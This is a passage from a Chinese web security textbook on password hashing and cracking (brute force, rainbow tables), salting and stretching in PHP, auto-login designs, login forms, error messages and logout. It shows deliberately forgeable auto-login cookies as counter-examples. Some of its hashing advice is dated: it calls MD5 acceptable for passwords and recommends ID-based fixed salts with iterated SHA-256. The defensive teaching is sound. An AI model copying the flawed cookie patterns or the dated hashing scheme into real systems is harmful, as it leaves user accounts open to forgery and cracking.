的保管方法。由于每次登录都需要 key，所以只把 key 锁在安全的保险箱里是不可行的。而且既要确保 Web 应用能正常使用 key，还要确保 key 不会被盗取，这样的系统本身很难实现。退一步说，如果能找到理想的管理 key 的方法，那么也可以用这种方法直接来管理密码。\n所以，现实中几乎不采用可逆加密的方式来保护密码，更多情况下是采用下面将要说明的信息摘要的方式。\n专栏：数据库加密和密码保护\n现在市场上有能将整个数据库进行加密的产品。其中大部分的产品都可以称为“透明数据加密”（TDE，Transparent Data Encryption），即应用程序开发可以不用考虑加密功能的存在。\n使用 TDE 的时候，应用程序只是使用普通的 SQL 语句，数据库引擎则将数据加密后进行存储。使用 SELECT 等语句进行数据检索时，TDE 会自动对加密的数据进行解密操作。\n使用 TDE 数据库虽然很简单，但是它并不适合进行密码保护。其原因是它不能防御类似 SQL 注入这样的攻击。因为 TDE 的透明加密的关系，SQL 注入后得到的数据都是被解密后的明文字符串了。\nTDE 数据库在数据库的文件、备份存档等被盗的情况下，可以有效保护数据库内容不会泄露。\n利用信息摘要来进行密码保护及其注意事项\n这一节我们将会对采用信息摘要进行密码保护的方法进行说明。\n什么是信息摘要\n能将任意长度的数据（bit 数组）压缩为固定长度（信息摘要，或者叫作散列值）的函数叫作散列函数，满足安全上要求（参考后面的专栏）的散列函数叫作密码学级别的散列函数（Cryptographic Hash Function）。在后面的章节中我们将简称为散列函数。\n我们下面来看一下几个信息摘要的例子。手头有 SSH 客户端软件的用户可以登录本书中实验用的虚拟机，然后输入下面带下划线部分的命令。输入命令行的下一行白底黑字的内容是 MD5 散列函数的输出结果。\n程序示例 使用 md5sum 进行散列值计算\n其中“echo -n”是在 echo 内容后不输出回车符，md5sum 是用来对给定文件或者标准输入进行散列值计算的命令。\n上面的例子分别对“password1”和“password2”做了散列值计算，从计算结果可以看出，虽然这两个字符串只有一个字符不一样，但是计算出来的结果却相差甚远。\n专栏：密码学级别的散列函数需要满足的要求\n原像计算困难性（Pre-image Resistance）\n原像计算困难性是指在现实的可接受时间内从散列值反推出原内容的困难程度。原像计算困难性也叫作单向性。\n第 2 原像计算困难性（Second Pre-image Resistance）\n第 2 原像计算困难性是指给定原数据，在现实的可接受时间内找出相同散列值的其他数据的困难程度。第 2 原像计算困难性也称为弱耐冲突性（Weak Collision Resistance）。\n冲突困难性（Collision Resistance）\n冲突困难性是指找出拥有相同散列值的两个不同数据的困难程度。原数据之间并没有什么关 联，条件是散列值相同即可。冲突困难性也称为强耐冲突性（Strong Collision Resistance）。\n广泛使用至今的 MD5 散列函数已经被证明是不满足强耐冲突性性的，可以说弱耐冲突性被攻破也只是时间的问题。但是如果仅用作保护密码安全的话，能保证原像计算困难性已经足够了。也就是说，MD5 散列函数还是能继续作为保护密码安全之用的。\n但是根据目的去选择合适的散列函数可能会比较困难，如果选择不当，还可能带带来安全隐患。所以我们可以不用考虑具体的使用场景，而是选择那些通用的、安全的散列算法就可以了。比如 SHA-256 就是一个不错的选择。\n利用信息摘要保护密码\n图 5-7 简单说明了使用信息摘要的密码保存和验证的方法。如图所示，数据库中保存的不再是密码原文而是其散列值，登录时验证的也是原密码的散列值。\n图 5-7 利用散列保存和验证密码\n之所以对密码原文采用信息摘要能保护密码安全，是因为散列函数具有下面的特性。单向性和冲突困难性的详细定义请参考之前的专栏。\n不能从散列值倒推出明文密码（单向性）\n不同的密码生成相同的散列值的概率非常低（冲突困难性）\n尽管散列函数满足安全性上的那些需求，但是由于密码的字符种类和长度都是有限的，所以还是有一些方法能实现根据散列值得到原来的密码。这里我们选择其中的 3 种方法来介绍一下。\n威胁 1：离线暴力破解\n在这之前我们已经说过了散列函数不能从散列值得到原来的数据，但是那只适用于一般情况，对于密码来说就不合适了。由于在密码中使用的字符种类有限，且长度也有限，所以有时候通过暴力破解是可以得到原密码的。\n另外，对散列函数还有一个要求就是处理速度要足够快，因为散列函数的典型利用场景是为 DVD-ROM 等巨大 ISO 文件做信息摘要，计算其散列值的。考虑到我们会频繁地使用散列函数来计算散列值，如果计算过程花费时间过长的话，甚至可能会对系统性能产生影响。所以散列函数处理速度是越快越好。\n但是散列函数速度过快对密码做信息摘要来说有可能是一种灾难，因为处理速度提高了，也使得暴力破解的效率变高，增加暴力破解成功的可能性。\n这种攻击在从散列值反推出原文的时候并不需要连接到服务器（Offline），所以也叫作离线暴力破解攻击。\n下面介绍下笔者做的一个小实验的结果。在实验中使用了 md5brute9\n 这个用来从 MD5 散列值查找原文的工具。在长度是 8 位的小写英文字母这一测试条件下，查找“zzzzzzzz”的散列值。按字母顺序排列的话，这个字符串排在最后。\n运行实例 从散列值倒推出原字符串的例子\n在系统配置为 Pentium Dual-Core 2GHz 的机器上，如果只使用单核（Core）进行测试的话，大概只需要花费 40 个小时就能成功地查找到该散列值对应的密码原文。平均算下来大概一个小时能进行 138 万次散列值计算。\n基于此实验数据，如果用大小写英文字母加上数字作为密码，长度为 8 位的话，需要大概 5 年才能找到原文。5 年看上去时间很长了，但是如果使用 676 核的集群 10\n 的话，只需要 3 天就能破解出原文了。\n也就是说，如果密码长度在 8 位以下的话，以现在的 CPU 能力来说，还是可以在可接受范围内从散列值得到密码原文的。而且破解并没有利用 MD5 的漏洞等，其他的散列函数（SHA-1 或 SHA-256）也存在同样的问题。\n上面只是暴力破解的例子，利用字典攻击也能得到散列值的原字符串，如果该字符串已经在字典里存在的话，甚至可以瞬间（1 秒以内）破解。\n后来，为了更高效的从散列值得到原文，有人发明了利用彩虹表进行破解的方法。\n威胁 2：彩虹破解（Rainbow Crack）\n我们还可以考虑另一种办法来提高从散列值得到密码原文的效率，即预先使用暴力破解的方法生成一个散列值查找表，解析原密码的时候如果能查询到这个表的话，就能实现高速的密码解析工作。但实际上由于密码组合数量庞大，基本上创建这样一个查找表是很很困难的。\n然而到了 2003 年，一种基于彩虹表（Rainbow Table）的方法出现了，它使得创建一个可接受大小的查找表成为可能。后面的“参考：彩虹表原理”小节有针对彩虹表的详细说明，各位读者可以参考。这里我们通过实验来看一下彩虹表破解是如何利用彩虹表来解析出密码原文的。\n彩虹表需要为不同的字符种类和字符串长度创建不同的查找表，如果字符种类或字符串长度增加，彩虹表大小也会急速变大。笔者手头上的彩虹表是适用于密码为 7 位以下的小写字母加数字的密码，我们将使用这个彩虹表来进行实验。这里使用的工具 rcrack.exe 可以从 RainbowCrack Project11\n 下载，\n运行实例 Rainbow Crack 的例子\n从上面的例子可以看出，Rainbow Crack 只用了 45 秒就把密码原文给解析出来了。相比之下同样的散列值，之前介绍的 md5brute 用了 997 分钟，使用彩虹的表速度足足是 md5brute 的 1300 倍之多。不过这个实验对 md5brute 来说有点不公平（我们使用的明文字符串排在所有字符组合的最后），实际用起来应该不会有这么大的差别，但是这也充分说明彩虹表的高效性和实用性了。\nRainbowCrack Project 的主页也在出售彩虹表数据，比如用户 MD5 算法的彩虹表，我们可以买到 8 位以下所有 ASCII 字符，以及 10 位以下小写字母加数字的彩虹表 12\n 。从理论上说，如果密码只是简单地进行散列处理后保存的话，我们用这些彩虹表就可以在很短的时间内破解出原密码。13\n抵御彩虹表攻击的最简单的方法就是增加密码长度，现在能获取的彩虹表支持的最大长度都只有 10 位左右，如果我们把密码长度设置为 20 个字符以上，就可以预防用目前的彩虹表破解原密码的问题。但是强制用户使用 20 多位的密码也有点不太现实，所以可以采用后面将要介绍的加 salt 取散列值的对策。\n威胁 3：在用户数据库里创建密码字典\n也许我们会觉得如果使用攻击者未知的散列函数，攻击者应该就没有办法计算出原密码了，但是实际上即使攻击者不知道保存密码时所使用的散列函数，也有其他方法能解析出原密码。\n这种方法就是通过在被攻击目标系统里注册大量的僵尸（Dummy）用户，在系统的数据库里制作一个“密码字典”出来。图 5-8 是这种攻击的大概流程。\n图 5-8 在 Web 应用数据库中创建密码字典\n如图 5-8 说明的那样，攻击者首先在攻击对象系统中注册大量的虚假账号（①），然后再利用其他方法（比如 SQL 注入攻击等），盗取系统的用户数据库（②）。在取得的用户数据库里，查看保存散列密码的那一列的数据，寻找具有和在①里注册的用户相同散列值的记录，在图 5-8 的例子里，用户 saburo 和 evil2 的密码散列值相同（③），因为 evil2 的密码是 123456，所以可以断定 saburo 的密码也是 123456（④）。\n针对这种攻击，加盐也是一种有效的防御手段。\n如何防止散列值被破解\n很多人认为将密码作为散列值的形式保存起来就安全了，但实际上有各种各样的方法可以破解散列密码，在上面我们已经介绍过了。之前介绍的方法都是恶意利用特定的散列函数（比如 MD5）的特点及漏洞等。只要是使用算法公开的散列函数，基本上都会面临同样的问题。\n之前介绍的方法，都是密码组合模式数量不是特别大的情形下发生的破解，如果使用 20 位以上的随机数的话，我们可以认为基本上密码不会被破解。但是这样的密码使用起来非常地不便，现实中也不可能被采用，现实中使用最多的密码长度在 8 位左右，所以我们要寻找防止散列值被破解的方法。\n基本的防止散列值被破解方法有下面两种：\nsalt（加盐）\nstretching（延展计算）\n对策 1：salt（加盐）\nsalt 指的是在原本要散列的数据后面追加的内容。加上了 salt，除了看上去密码字符串会变长之外，还因为每个用户的 salt 都不一样，所以即使两个用户的密码相同，也能为这两个用户的密码生成不同的散列值。\n安全的使用 salt 需要满足以下条件：\n确保有一定的长度\n每个用户使用不同的 salt\n这其中“一定长度”的说法可能有些模棱两可，实际上考虑到对抗彩虹表攻击，salt 和密码加起来的长度至少要保证在 20 位以上。\n不同用户使用不同 salt 的原因，是让使用相同密码的用户也能生成不同的散列值。为不同用户生成不同的 salt 有两种方法。\n使用随机数作为 salt\n使用以用户 ID 为输入参数的函数来生成 salt\n很多教材中都推荐使用随机数作为 salt 使用，因为使用随机数作为 salt 的话，必须将 salt 也保存在数据库里。如果不知道 salt 的话，就不能验证密码是否正确了。\n另一种方法，如果使用以用户 ID 为输入参数的函数的话，就不需要保存 salt 了，这是该方法的一个优点，和随机数比较起来，该方法没有明显的缺点。因此本书里比较推荐使用基于用户 ID 的函数来产生 salt 值。salt 的实现例子可以参考后面的实现示例。\n对策 2：stretching（延展计算）\n即使使用 salt，也不能降低暴力破解带来的危险。因为即使加上 salt，也不会影响计算散列值所需要的时间。为了对抗暴力破解，需要让散列计算处理速度变慢。\nstretching（延展计算）是一种利用现有的 MD5 或者 SHA-1、SHA-256 等散列函数，想办法增加计算散列值所需要时间的一种方法。它通过反复递归的调用散列函数来增加计算时间。具体的实现方法请参考下一小节。\n实现示例\n下面的脚本是在上文的基础上，用来计算散列值的一个示例。\n代码清单 /51/51-001.php\n<?php\n // FIXEDSALT 要根据实际情况进行修改\n define('FIXEDSALT', 'bc578d1503b4602a590d8f8ce4a8e634a55bec0d');\n define('STRETCHCOUNT', 1000);\n // 生成 salt\n function get_salt($id) {\n return $id . pack('H*', FIXEDSALT); // 将用户的 ID 和固定字符串连接起来\n }\n function get_password_hash($id, $pwd) {\n $salt = get_salt($id);\n $hash = ''; // 默认的散列值\n for ($i = 0; $i < STRETCHCOUNT; $i++) {\n $hash = hash('sha256', $hash . $pwd . $salt); // stretching\n }\n return $hash;\n}\n// 调用示例\nvar_dump(get_password_hash('user1', 'pass1'));\nvar_dump(get_password_hash('user1', 'pass2'));\nvar_dump(get_password_hash('user2', 'pass1'));\n执行结果\nstring(64) \"a44812a099b40ee49ffe2bd6c5de7403a1854e009ba9e2b417b9770d4ffac54b\"\nstring(64) \"cc2c26c9a22d7318f48ed99e8915c6861559ade98e4df3dab64e51c7ea476389\"\nstring(64) \"3fca4aab6f7bf9ed2ac855dbc0e22c148e7e23a137c497777e1e9269902571c8\"\nget_salt\n 方法的输入参数为用户 ID，返回值是用于散列计算的 salt。例子里只是简单地将用户 ID 和固定字符串用 pack\n 函数从十六进制转换为二进制数据后连接在一起。通过使用二进制数据，可以达到增加字符种类的效果。\nget_password_hash\n 方法里面将密码原文和 salt 连起来后用 SHA-256 算法进行了 1000 次的计算 14\n ，这里之所以使用 SHA-256，是因为它是目前来说比较安全的用在密码保存及其他领域的散列函数之一。\n如果每次调用 get_password_hash\n 方法时传递的 $id\n 和 $pwd\n 参数的值都是一样的话，这个方法的返回值也会每次都一样，所以不需要在数据库里再额外保存 salt 的值。\nstretching 次数（这里是 1000 次）越高的话，对暴力破解等攻击的抵抗能力就越强。当然它也有不利的一面，就是与此同时它也会给服务器带来更高的负荷。如果负荷过高，则会给正常业务带来影响，甚至可能被人利用来发动 DoS 攻击。所以这个 stretching 次数需要一边观察服务器负荷情况一边进行调整，最后选择一个合适的值。\n9\nhttp://www.vector.co.jp/soft/unix/util/se365582.html\n10\n 这个数字是 2010 年象棋电脑程序“阿迦罗 2010”战胜日本女棋王时的 CPU 的核数。\n11\nhttp://project-rainbowcrack.com/\n12\nhttp://project-rainbowcrack.com/buy.php\n13\n 根据 RainbowCrack Project 的测试数据，破解一个密码最长也只需要 202 秒。\n14\n 关于 stretching 方法的更多内容请参考 Cryptography Engineering\n [1]。\n专栏：密码泄露途径\n密码数据泄漏途径很多，除了前面我们已经介绍的 SQL 注入攻击、密码尝试、社会化攻击、钓鱼攻击等，这里我们再介绍一下其他可能造成密码泄露的行为。\n备份数据被盗、丢失\n备份数据里可能会包含密码等机密信息，如果这些媒体（硬盘、磁带）丢失或者流出到外部的话，就会造成密码泄露。\n硬盘等被盗、丢失\n如果服务器、硬盘等从数据中心被偷走的话，也会造成信息泄漏。虽然机器从机房被偷走有点令人难以置信，但是硬盘被盗的先例在现实世界中确实是发生过的。针对硬盘被盗的情况，之前介绍过的 TDE 型数据库是一种很好的解决对策。\n内部操作人员将数据带出\n在数据中心机房或者办公室里的内部操作人员，可以通过数据库管理工具等把数据抽出，再用 USB 或者光盘之类的媒体带到公司外部，导致信息泄露。此类事件频有发生，媒体中也经常报道。\n5.1.4 自动登录\n现在很多 Web 应用都会在登录页面提供“自动登录”或者“保持登录状态”这样的复选框（如图 5-9），如果用户选中自动登录，那么即使重启浏览器，系统也会自动进行登录，而不必再次输入用户名和密码。\n图 5-9 自动登录复选框示例\n从系统安全的角度考虑，一直以来大家都认为自动登录是对安全不利的。比如会话持续时间变长的话，就会增加受到类似 XSS 等被动攻击的概率。\n但是笔者认为，根据目前网站的现状及自身的特点，是可以选择提供自动登录功能的。其原因有以下几点。\n随着 Web 应用的深入普及，需要保持登录状态的服务增加了（比如 Google 等）\n频繁的登录、退出操作，容易迫使用户选择更加简单的密码，反而使得系统的危险系数增加\n下面我们说一下怎么才能安全地实现自动登录功能。但是在这之前，作为反例，我们先看看自动登录中一些比较危险的实现方式。\n危险的实现方式示例\n下面是一个实现方式不正确的网站的例子，它把用户名和自动登录标识都保存到 Cookie 里（例子中 Expires 的实际日期是在 30 天之后）了。\nSet-Cookie: user=yamada\n; expires=Wed, 27-Oct-2010 06:20:55 GMT\nSet-Cookie: autologin=true\n; expires=Wed, 27-Oct-2010 06:20:55 GMT\n在这个例子中用户名和自动登录标识都用明文保存在 Cookie 中，但是因为用户本人可以修改 Cookie，加入把 user=yamada 篡改为 user=tanaka 的话，就可以冒充别人登录到系统里面了。\n虽然这个例子看起来很极端，但是现实中确实是存在着具有类似安全隐患的 Web 网站或者软件的。\n下面的方法虽然针对上面的问题作了改良，但是仍然算不上一个好的方案。\nSet-Cookie: user=yamada\n; expires=Wed, 27-Oct-2010 06:20:55 GMT\nSet-Cookie: passwd=5x23AwpL\n; expires=Wed, 27-Oct-2010 06:20:55 GMT\nSet-Cookie: autologin=true\n; expires=Wed, 27-Oct-2010 06:20:55 GMT\n这里虽然增加了对密码的验证，使得攻击者不能很轻易地通过上面的方法来冒充别人。但是如果攻击者知道了被攻击用户的密码的话，完全可以堂堂正正地从登录页面登录系统了，就没有必要攻击自动登录功能了。\n而且一旦在 Cookie 里存放了敏感信息的话，那么一旦网站出现 XSS 漏洞的时候，就存在密码被盗取的可能性，从而可能带来更大的损失。因此这种方法仍然算不上是理想的实现方式。\n下面开始我们介绍如何来实现一个安全的自动登录功能。\n安全的自动登录实现方式\n要实现保持用户登录状态的功能，可以采用下面的三种方式之一。\n延长会话有效期\n使用令牌（Token）\n使用认证票（Ticket）\n下面按顺序介绍一下这三种方法。\n延长会话有效期\n如果所用的编程语言或者框架支持设置 Cookie 的 Expires（过期时间）属性的话，这种方法则最简单。\n如果使用的是 PHP 的话，可以使用以下方法实现延长会话有效期。\n通过使用 session_set_cookie_params\n 方法设置 Cookie 的 Expires 属性值\n在文件 php.ini 中将 session.gc_maxlifetime 设置为一周左右（默认为 24 分钟）\n但是这样做的话不想保持登录状态的用户的会话过期时间也会被延长到一周，会增加这些不想使用自动登录功能的用户受到 XSS 等被动攻击的概率。\n解决这个问题，可以在应用程序里限制会话过期时间。如以下的脚本解说。\n首先是 php.ini 文件中进行一些设置的例子，下面这个设置是保持会话的有效期至少为一星期。15\nsession.gc_probability = 1\nsession.gc_divisor = 1000 604800 ＝ 7*24*60*60\nsession.gc_maxlifetime = 604800──┘\n之后，是在验证用户密码成功后设置登录信息的地方，加入如下逻辑。这里假设用户选择了自动登录的话，浏览器会将参数 autologin\n 赋值为 on\n 后传给服务端。\n代码清单 /51/51-002.php\n <?php\n // 假设在此之前用户密码验证已经通过且成功登录\n $autologin = @$_GET['autologin'] == 'on';\n $timeout = 30 * 60;\n if ($autologin) { // 自动登录的场景\n $timeout = 7 * 24 * 60 * 60; // 会话有效期设为一星期\n session_set_cookie_params($timeout); // Cookie 的 Expires 属性\n }\n session_start();\n session_regenerate_id(true); // 固定会话 ID 对策\n $_SESSION['id'] = $id; // 登录中的用户 ID\n $_SESSION['timeout'] = $timeout; // 超时时间（时长）\n $_SESSION['expires'] = time() + $timeout; // 超时时间（时刻）\n ?>\n <body>\n login successful<a href=\"51-003.php\">next</a>\n </body>\n在这个例子里自动登录后会依次进行下面的处理。\n会话超时时间设为 1 星期（默认为 30 分钟）\n将含有会话 ID 的 Cookie 的 Expires 属性设置为 1 星期后\n不管是否是自动登录，都会执行下面这两步\n将会话超时时长保存到 $_SESSION['timeout']\n 中\n将会话超时时刻保存到 $_SESSION['expires']\n 中\n下面是判断用户是否处于登录状态的代码。下面这部也会确认之前设置的会话超时相关的属性值。\n代码清单 /51/51-003.php\n <?php\n session_start();\n function islogin() {\n if (! isset($_SESSION['id'])) { // 还没设置 id 时\n return false; // 没有登录\n }\n if ($_SESSION['expires'] < time()) { // 该会话已经超时\n $_SESSION = array(); // 取消 $_SESSION 变量\n session_destroy(); // 放弃会话（退出登录）\n return false;\n }\n // 更新超时时刻\n $_SESSION['expires'] = time() + $_SESSION['timeout'];\n return true; // 用户处于登录状态，即返回 true\n }\n if (islogin()) {\n // 用户登录中的处理内容（省略了后面的内容）\nislogin\n 方法用来判断用户是否处于登录状态。该处理中通过判断保存在会话里的超时时刻和现在时刻来判断用户会话是否已经超时了。\n使用令牌实现自动登录\n根据所使用的编程语言不同，有时候不能对保存着会话 ID 的 Cookie 的 Expires 属性进行设置，这时候如果浏览器一关掉的话对应的会话也自动被销毁了，也就不能通过编程语言在会话的管理机制上实现保持用户登录状态的功能了。\n在这种情况下要实现同样的功能的话，则可以考虑使用 4.6.4 节里介绍过的令牌来实现保持用户的登录状态。\n用户登录时创建令牌\n在用户登录成功的时候，创建令牌并保存到 Cookie 中。Cookie 的 Expires 属性可以设置为 1 周左右，令牌的值使用伪随机数。最好同时设置 HttpOnly 属性，另外如果是 HTTPS 连接的话，需要同时设置 secure 属性。\n令牌的值只是个随机数，每个登录用户的信息，可以用下图那样的结构保存到数据库中进行管理。\n令牌（唯一）\n用户 ID\n有效期\n图 5-10 自动登录用户信息\n如上图所示，通过令牌的值可以知道哪个用户在什么时间之内能进行自动登录。\n令牌是在用户登录时候创建的（只有在用户选择了自动登录的时候才会创建），下面的伪代码展示了该方法的大致思路。\n代码清单 自动登录令牌创建过程（伪代码）\nfunction set_auth_token($id, $expires) {\n do {\n $token = 随机数 ;\n 准备查询 ('insert into autologin values(?, ?, ?)');\n 执行查询 ($token, $id, $expires);\n if ( 查询成功 )\n return $token;\n } while( 数据重复错误 );\n die(' 访问数据库错误 ');\n}\n$timeout = 7 * 24 * 60 * 60; // 认证的有效期（1 周）\n$expires = time() + $timeout; // 认证的有效期\n$token = set_auth_token($id, $expires); // 设置令牌\nsetcookie('token', $token, $expires); // 将令牌的值保存到 Cookie\nset_auth_token\n 方法用来生成令牌，输入参数为用户 ID 和令牌的有效期间，生成令牌的值后将这些信息保存到数据库中，并返回生成的令牌值给调用函数。如果生成令牌值的过程中发生了值重复问题，则需要继续尝试直到生成不重复的令牌值为止。\n在上面的示例代码里最后，也展示了如何调用生成令牌函数。这里将表示自动登录的有效期参数设为一周后调用 set_auth_token\n ，并将返回的令牌保存到了 Cookie。\n判断用户的登录状态和执行自动登录\n接着我们再看看如何实现判断用户是否处在登录中状态，以及如何实现自动登录。处理逻辑见下面的伪代码。\n代码清单 判断用户是否已登录以及如何实现自动登录（伪代码）\nfunction check_auth_token($token) {\n 准备查询 ('select * from autologin where token = ?');\n 执行查询 ($token);\n 取得 $id 和有效期 ;\n if ( 不存在相应记录 )\n return false;\n if ( 有效期 < 现在时刻 ) {\n 放弃旧认证令牌 ;\n return false;\n }\n return $id;\n}\nfunction islogin($token)\n if ( 会话中是否有认证信息 )\n return 认证成功 ; // 用户已经是登录中状态了\n // 从下面开始是会话已经超时，开始自动登录处理\n $id = check_auth_token($token);\n if ($id !== false) {\n 将认证信息放到会话 ;\n 放弃旧认证令牌 ;\n 设置新的认证令牌（及新的有效期间）;\n return 认证成功 ;\n }\n return 认证失败 ; // 自动登录失败的时候\n}\n// 需要编写批处理程序来定期从数据库删除已经过期的认证令牌记录\nislogin\n 函数先判断现在会话里是否有用户的登录信息，如果有的话就认为用户已经登录了，将直接返回成功。如果会话里不存在用户的登录信息的话，则继续调用 check_auth_token\n 函数，尝试进行自动登录。在 check_auth_token\n 方法里根据传过来的令牌信息来查找用户的自动登录数据，如果数据库中存在此令牌数据，且有效期间没有过期的话，则返回登录中的用户 ID。\n如果执行自动登录成功的话，需要先删掉旧的令牌信息，然后再生成新的令牌并保存到数据库中。之所以选择删除原来的令牌再创建新的，而不是简单地更新原令牌的有效期间，是因为如果原令牌如果由于某些原因被泄露的话，有可能被别人拿来进行恶意攻击，所以最好采取删除原令牌的方法。同样的原因，在用户修改密码后，也应该对令牌信息做类似的处理。\n退出登录\n在进行退出登录处理的时候，需要以用户 ID 为查询条件，在用户自动登录数据表里把这个用户对应的令牌信息删除。考虑到用户可能在不同的终端上登录并且启用了自动登录，所以这里删除用户的自动登录数据的时候，需要以用户 ID 为条件而不能用令牌。\n代码清单 退出登录处理（伪代码）\n$_SESSION = array(); // 销毁 $_SESSION 变量\nsession_destroy(); // 销毁会话（退出登录）\n// 根据用户 ID 删除该用户所有自动登录数据\n准备删除语句 ('delete from autologin where id=?');\n执行删除语句 ($id);\n基于认证票的自动登录方式\n认证票是为了在不同的服务器之间共享用户的认证数据（用户名，有效期间）而设计的。为了防止伪造或者信息泄露，认证票可能会需要电子署名或者加密。Windows 所采用的 Kerberos 认证，以及 ASP.NET 的表单认证（From 认证）等都采用了认证票的方法。\n认证票方法的优点是可以跨服务器共享用户的认证信息。但是实现认证票功能的话需要比较专业的加密或者安全方面的知识，尽量避免自己去实现。\n如果想在在多台服务器之间共享认证数据的话，推荐采用第三方的单点登录系统（SSO），或者使用 OpenID 等开放的认证平台产品。\n三种方法的比较\n关于如何实现用户自动登录功能，上面我们介绍了延长会话超时时间、令牌和认证票等三种方法。这之中，使用令牌方式是比较好的选择。令牌方式的优点有如下几条。\n对不想使用自动登录功能的用户不构成任何影响\n针对使用多终端登录的用户可以实现一次全部退出登录\n管理员可以强制使指定的用户退出登录\n在客户端不额外保存敏感信息，不存在被恶意利用的风险\n15\n 服务器在收到客户端请求时，会以 session.gc_probability / session.gc_divisor 的概率进行会话回收工作，清理存活时间已经超过 session.gc_maxlifetime 的会话，所以会话被清理的时机不是实时的，会有一定的延迟。\n如何降低自动登录带来的风险\n自动登录带来的问题是用户的认证状态会持续很长时间，这会增加用户遭受 XSS 或 CSRF 等被动攻击的风险。\n针对此问题，可以在关键操作，比如查看重要信息（个人信息等）、重要的操作（购物、转账、修改密码）之前加入密码确认步骤。亚马逊就是采用这种方法的网站之一，通常情况下用户访问亚马逊是在登录状态下进行的，但是用户如果想下单或者查看历史订单等重要操作前就会被要求再次输入密码进行验证。\n5.1.5 登录表单\n这一节我们将对登录表单（用户输入 ID 和密码的页面）的安全性要求做一下说明。实现登录表单的时候最基本的原则如下。\n密码输入框需要掩码（Mask）显示\n如果应用需要使用 HTTPS 的话，从登录表单显示页面开始就应该使用 HTTPS\n所谓输入密码的掩码显示，是指使用类型是 password 的输入控件，使用这种控件后，输入的密码在页面上显示时会以“*”的符号显示出来。这样就能降低因 shoulder hack 导致密码被盗取的风险。\n下面说一下为什么需要在登录表单显示页面就要使用 HTTPS。在输入密码的页面和进行登录处理的页面中，如果把后面的页面放在 HTTPS 下的话，用户输入的密码会被加密后传递给服务器，这样就能防止密码被盗取了。但是如果在输入密码的页面不使用 HTTPS 的话，就可能会存在如下风险。\n登录表单被篡改，跳转目的地址被设为攻击者的地址\n如果遭受 DNS 欺骗（DNS cache poisoning 或 DNS spoofing）攻击的话，用户可能会被转到攻击者的网站\n如果我们在显示登录表单的页面开始使用 HTTPS 的话，就能防止该页面的内容被篡改。即使用户被诱骗到其他网站，浏览器也会显示出错信息，提醒用户注意（用户需要确认域名是否正确）。\n所以说，如果要使用 HTTPS 的话，请一定在登录显示页面开始就使用 HTTPS。\n专栏：密码确实需要掩码显示吗\n现在编写登录页面时，将密码输入框做掩码处理应该算是最基本的常识了，但是笔者却对此有些疑问。如果对输入框进行了掩码设置，那么输入包含符号、大小写字母的密码会变得稍微有点麻烦，用户可能会有选择更简单的密码，这对系统安全性来说反而是一个不利因素，这也是笔者对掩码处理持有疑问的原因。\n美国关于 Web 使用方便性的权威 Jakob Nielsen 在 2009 年 6 月发表了一篇“请停止隐藏密码显示”16\n 的专栏文章，这篇文章里列举了很多隐藏密码明文显示的缺点，当时出现了很多反对的意见，但是 SANS 的博客里却对此表示了赞同的看法17\n 。这篇文章也成了当时大家关注的话题。\n把目光转向 Web 网站以外，可以发现在桌面端应用程序里面，有很多软件都提供了在密码的明文显示和掩码显示之间的切换功能。比如下面的图显示的就是 Windows Vista 的 VPN 设置画面，画面里有一个“显示字符”的复选框。\n图 5-11 密码显示 / 不显示的例子\n密码认证的最大的威胁是跨越网络的暴力破解，而预防抗暴力破解的最好的方法就是选择安全的密码。以后提供“显示密码字符”复选框的网站数量也许会增加。但是如果使用浏览器的密码自动保存功能的话，有可能画面一显示出来就把明文密码都暴露了，会被别人看见，这是个比较麻烦的问题，所以“显示密码字符”的复选框需要默认为不被选中。\n16\nhttp://www.nngroup.com/articles/stop-password-masking/\n17\nhttps://blogs.sans.org/appsecstreetfighter/2009/06/28/response-to-nielsens-stop-password-masking/\n5.1.6 如何显示错误消息\n本节将说明一下如何在用户登录界面正确的显示错误消息。\n不管什么错误消息，其原则都是不能留给攻击者任何提示。在登录功能里像下面的两个错误消息都是对安全不利的：\n“指定的用户不存在”\n“密码不正确”\n因为攻击者从这些消息里就可以知道到底是用户 ID 错了还是密码错了，使得暴力破解将会更有针对性。图 5-12 是在知道用户 ID/ 密码哪个错误和不知道用户 ID/ 密码哪个错误这两种情况下，攻击所需要成本的对比。\n图 5-12 如果知道登录 ID 或者密码哪个错了的话破解将会变容易\n如果是用户 ID 不正确（不存在）的话，如左图，首先攻击者会一直尝试使用不同的用户 ID，直到找到了系统里存在的用户 ID，然后再开始进行猜测密码，这样的话最多需要尝试 2 万次就够了。如果攻击者不知道登录 ID 或者密码哪个不正确的话，就需要尝试所有的用户 ID 和密码的组合，也就是至少需要尝试 1 万 ×1 万，即 1 亿次才行。可以看出，错误消息可以在很大程度上对攻击者的攻击效率产生影响。\n同样，有时候攻击者也可以通过用户账号被锁定时显示的错误信息来推测用户 ID 是否存在，所以推荐在发生账号被锁定的时候使用类似下面那样的消息（如果系统支持账号锁定功能的话）：\n“ID 或者密码错误，账号已被锁定”\n尽管这样会让真正的用户不知道到底是自己的用户 ID 错了还是密码错了，但我们在 5.1.2 节提到了，用户账号被锁定的时候，最好同时给用户发送邮件通知。所以如果在上面弹出的错误消息后面加上类似下面这段文字的话，用户体验会更好一些。\n※ 账号锁定时将发送邮件通知账号所有者，如果有什么疑问，请查看邮件内容进行确认。\n5.1.7 退出登录功能\n比较安全的退出登录处理的做法是销毁会话对象。另外，有时候需要在退出登录的时候加入防止 CSRF 漏洞的逻辑，但是如果由第三方强制退出登录没有什么大的不利影响的话，也可以考虑省略预防 CSRF 的处理。\n下面是在退出登录需要做的事。\n退出登录处理有副作用所以用 POST 提交退出登录请求\n在退出登录处理中销毁会话对象\n根据需要选择是否加入 CSRF 处理\n发起退出登录请求的页面实现示例请参考下面的代码。\n代码清单 /51/51-011.php\n【前面省略】// 这里假设已经执行了 session_start();\n<form action=\"51-012.php\" method=\"POST\">\n<-- 下面是防止 CSRF 的令牌 -->\n<input type=\"hidden\" name=\"token\" value=\"<?php echo\n htmlspecialchars(session_id()); ?>\">\n<input type=\"submit\" value=\" 退出登录 \">\n</form>\n这段代码通过 POST 方式向执行退出操作的脚本（51-012.php）发起请求，作为预防 CSRF 的措施，同时传一个 hidden 的参数 token，token 直接使用了会话 ID 的值。\n执行退出登录的处理如下所示。\n代码清单 /51/51-012.php\n<?php\n $token = $_POST['token'];\n session_start();\n // 进行令牌验证\n if ($token != session_id()) {\n die(' 点击退出登录按钮退出 ');\n }\n // 清空 $_SESSION 变量\n $_SESSION = array();\n // 销毁 session\n session_destroy();\n?>\n在这段代码的前半部分是进性预防 CSRF 的令牌检查，关于 CSRF 对策的详细内容可以参考 4.5.1 节。\n上面脚本的后半部分是执行退出登录处理的中心内容，先对 